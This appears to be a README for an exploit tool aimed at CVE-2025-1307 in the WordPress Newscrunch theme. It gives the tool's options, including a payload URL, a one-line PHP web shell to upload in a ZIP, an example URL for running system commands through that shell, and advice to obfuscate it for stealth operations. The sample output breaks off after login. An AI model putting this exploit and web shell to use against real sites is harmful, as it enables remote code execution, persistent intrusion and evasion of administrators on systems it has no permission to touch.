### 🔹 Usage
```
Exploit for CVE-2025-1307 in WordPress Newscrunch Theme By Nxploit | Khaled Alenazi

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target WordPress URL (e.g., https://example.com)
  -un USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
  -pl PAYLOAD_URL, --payload_url PAYLOAD_URL
                        Malicious file URL to upload
```

### 🛠️ Using the Uploaded Shell
Once the shell is successfully uploaded, it allows remote command execution on the target system. The shell file should be placed inside a ZIP archive, and it will be extracted automatically upon exploitation.

### 🔹 Creating the ZIP Payload
Ensure your PHP shell (shell.php) is inside a ZIP archive. Then, upload the ZIP file using the exploit.
```php
<?php system($_GET['cmd']); ?>
```

### 🔹 Executing Commands
You can execute system commands via the browser by appending the cmd parameter to the shell URL:
```
http://target/wp-content/plugins/shell.php?cmd=whoami
```

### ⚠️ Securing the Shell
- Since this is a simple web shell, it lacks authentication and should be used cautiously.
- If detected, it can be easily removed by administrators.
- Consider using obfuscated PHP code or password-protected shells for stealth operations.

### 🔹 Expected Output
```
[+] Newscrunch theme version detected: 1.8.4
[+] Exploitation is possible, proceeding...
[*] Logging in...
[+] Logged in successfully.
